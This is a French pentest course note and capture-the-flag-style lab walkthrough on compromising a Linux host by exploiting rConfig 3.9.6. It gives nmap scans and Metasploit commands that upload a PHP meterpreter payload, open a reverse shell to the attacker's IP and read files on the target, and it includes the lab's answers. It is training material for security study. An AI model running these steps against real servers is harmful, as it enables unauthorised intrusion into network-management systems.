Infiltrating Unix/Linux

🔎 Contexte et Intérêt

Selon une étude régulièrement mise à jour par W3Techs, plus de 70% des sites web s'appuient sur un système d'exploitation de type Unix. Cela signifie qu'en tant que pentester, il est essentiel de maîtriser l'environnement Unix/Linux pour maximiser les chances de compromission et d'éventuelle élévation latérale.

Bien que de nombreuses entreprises utilisent aujourd'hui des hébergeurs tiers ou des solutions cloud, certaines continuent à gérer elles-mêmes leurs serveurs web sur site. Dans ces cas, l'obtention d'un shell sur le système cible peut être un point d'entrée crucial pour un pivotement interne.


❓ Questions Clés à Considérer

Lorsqu'on tente d'obtenir une session shell sur une machine Unix/Linux, il est utile de se poser les questions suivantes :

  • Quelle distribution de Linux est en cours d'exécution ?

  • Quels shells et langages de programmation sont installés ?

  • Quelle est la fonction du système dans le réseau ?

  • Quelle application est hébergée ?

  • Y a-t-il des vulnérabilités connues ?

Ces interrogations orientent efficacement la phase de reconnaissance et les choix d'exploitation.


⚡️ Obtenir un Shell via une Application Vulnérable

📊 Scan Initial avec Nmap

nmap -sC -sV 10.xx.xx.xx

Extrait des résultats pertinents :

  • Port 21 (FTP) : vsftpd 2.0.8 ou plus

  • Port 22 (SSH) : OpenSSH 7.4

  • Port 80 / 443 : Apache 2.4.6 (CentOS) avec PHP 7.2.34

  • Port 3306 : MySQL

On constate donc la présence d'un serveur web sous CentOS hébergeant une application PHP.

💻 Application Détectée : rConfig

En accédant au site via navigateur, on identifie l'application rConfig (outil de gestion de configurations réseau). Il s'agit d'une cible critique car elle est conçue pour automatiser la configuration de périphériques réseau (routeurs, switchs, etc.). Un accès à cette application pourrait potentiellement compromettre tout le réseau.

Interface de connexion à rConfig

🔍 Recherche de Vulnérabilités dans rConfig

La version identifiée sur la page de connexion est 3.9.6. Une recherche sur cette version ("rconfig 3.9.6 vulnerability") renvoie vers des vulnérabilités connues, notamment :

  • Upload arbitraire de fichier

  • Exécution de commande à distance (RCE)

⚙️ Modules Metasploit Disponibles

msf6 > search rconfig

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  exploit/multi/http/solr_velocity_rce             2019-10-29       excellent  Yes    Apache Solr Remote Code Execution via Velocity Template
   1  auxiliary/gather/nuuo_cms_file_download          2018-10-11       normal     No     Nuuo Central Management Server Authenticated Arbitrary File Download
   2  exploit/linux/http/rconfig_ajaxarchivefiles_rce  2020-03-11       good       Yes    Rconfig 3.x Chained Remote Code Execution
   3  exploit/unix/webapp/rconfig_install_cmd_exec     2019-10-28       excellent  Yes    rConfig install Command Execution
   4  exploit/linux/http/rconfig_vendors_auth_file_upload_rce --------------------------------------------------

Module intéressant :

exploit/linux/http/rconfig_vendors_auth_file_upload_rce

Ce module permet l'envoi d'un fichier PHP malveillant via la fonctionnalité d'upload de l'application.


🔧 Chargement Manuel du Module (si non présent)

  1. Recherche du dossier d'exploits :

locate exploits
  1. Chemin typique sur Pwnbox :

/usr/share/metasploit-framework/modules/exploits/linux/http
  1. Copier le code Ruby (.rb) depuis GitHub et placer le fichier dans le dossier ci-dessus.

  1. Mettre à jour MSF :

sudo apt update && sudo apt install metasploit-framework

🚀 Utilisation de l'Exploit

Charger et configurer l'exploit

msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce

Configurer les options : RHOSTS, LHOST, LPORT, etc.

Lancer l'exploitation

exploit

Exemple de retour :

[*] Uploading file 'payload.php' containing the payload...
[*] Triggering the payload ...
[*] Meterpreter session 1 opened

🧂 Compréhension de l'Exploitation

L'exploit réalise les étapes suivantes :

  • Vérifie la version vulnérable

  • Authentifie sur l'application

  • Upload un payload PHP

  • Déclenche l'exécution pour ouvrir une session reverse shell

  • Supprime le fichier malveillant (cleanup)

Interagir avec le shell

meterpreter > shell

Permet de passer en ligne de commande classique sur la cible.


📁 Exemple de Dossier Accessible

Listing: /home/rconfig/www/images/vendor
...
cisco.jpg
juniper.jpg

🔐 Conclusion

L'infiltration d'une machine Unix/Linux via une application vulnérable comme rConfig repose sur une méthodologie rigoureuse : reconnaissance, identification des versions, recherche de vulnérabilités, exploitation contrôlée. Une fois la session shell obtenue, de nombreuses possibilités s'offrent à nous pour pivoter ou élever nos privilèges.


📚 Ressources Utiles


What language is the payload written in that gets uploaded when executing rconfig_vendors_auth_file_upload_rce?

Comme vu dans le cours, le pyload écrit est envoyé en PHP.


Exploit the target and find the hostname of the router in the devicedetails directory at the root of the file system.

Scan de la machine cible :

$ nmap -sC -sV -O 10.129.201.101

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 05:16 CDT

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 2.0.8 or later
22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
111/tcp  open  rpcbind  2-4 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
3306/tcp open  mysql    MySQL (unauthorized)

Nmap done: 1 IP address (1 host up) scanned in 47.87 seconds

On observe alors qu'un site Web est présent sur notre cible. Nous y accédons alors :

Page de connexion de rConfig version 3.9.6

Nous observons alors la présence d'une page de connexion à rConfig, service présent sous la version 3.9.6. Nous effectuons alors des recherches de vulnérabilités possibles concernant cette version du service :

Nous obtenons alors la confirmation que cette version de rConfig est bien vulnérable.

Nous effectuons des recherches via Metasploit afin d'exploiter cette vulnérabilité :

[msf](Jobs:0 Agents:0) >> search rconfig

Matching Modules
================

   #   Name                                                     Disclosure Date  Rank       Check  Description
   -   ----                                                     ---------------  ----       -----  -----------
   [...]
   9   exploit/linux/http/rconfig_vendors_auth_file_upload_rce  2021-03-17       excellent  Yes    rConfig Vendors Auth File Upload RCE
   [...]
   
[msf](Jobs:0 Agents:0) >> use 9
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Une fois le payload qui nous intéresse selectionné, nous pouvons le configurer et l'exécuter :

[msf](Jobs:0 Agents:0) exploit(linux/http/rconfig_vendors_auth_file_upload_rce) >> set rhosts 10.129.201.101
rhosts => 10.129.201.101
[msf](Jobs:0 Agents:0) exploit(linux/http/rconfig_vendors_auth_file_upload_rce) >> set lhost 10.10.14.171
lhost => 10.10.14.171

[msf](Jobs:0 Agents:0) exploit(linux/http/rconfig_vendors_auth_file_upload_rce) >> exploit
[*] Started reverse TCP handler on 10.10.14.171:4444 
[*] Meterpreter session 2 opened (10.10.14.171:4444 -> 10.129.201.101:51730) at 2025-07-03 05:27:10 -0500

(Meterpreter 2)(/home/rconfig/www/images/vendor) > 

Nous avons maintenant accès à notre cible. Nous pouvons ainsi récupérer le nom de du routeur :

(Meterpreter 2)(/home/rconfig/www/images/vendor) > cd 
(Meterpreter 2)(/) > ls
Listing: /
==========

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
[...
040755/rwxr-xr-x  56     dir   2021-10-18 16:28:04 -0500  devicedetails
[...]

(Meterpreter 2)(/) > cd devicedetails
(Meterpreter 2)(/devicedetails) > ls
Listing: /devicedetails
=======================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  568   fil   2021-10-18 16:23:40 -0500  edgerouter-isp.yml
100644/rw-r--r--  179   fil   2021-10-18 16:28:03 -0500  hostnameinfo.txt

(Meterpreter 2)(/devicedetails) > cat hostnameinfo.txt
Note: 
All yaml (.yml) files should be named after the hostname of the router or switch they will configure. We discussed this in our meeting back in January. Ask Bob about it. 

Nous observons dans le répertoire devicedetails deux fichiers, edgerouter-isp.yml et hostnameinfo.txt.

Nous ouvrons donc le fichier hostnameinfo.txt et lisons son contenu. Ce dernier mentionne que le nom qui doit petre donné aux fichiers yaml sont les noms des périphériques concernés.

Nous pouvons alors trouver le nom de notre routeur qui est edgerouter-isp.

Ceci peut également se confirmer en lisant le fonctenu du fichier edgerouter-isp.yml :

(Meterpreter 2)(/devicedetails) > cat edgerouter-isp.yml
me: configure top level configuration
  cisco.ios.ios_config:
    lines: hostname edgerouter-isp

- name: configure interface settings
  cisco.ios.ios_config:
    lines:
    - description test interface
    - ip address 192.168.0.10 255.255.255.0
    parents: interface gigabitethernet0/0

[...]

Mis à jour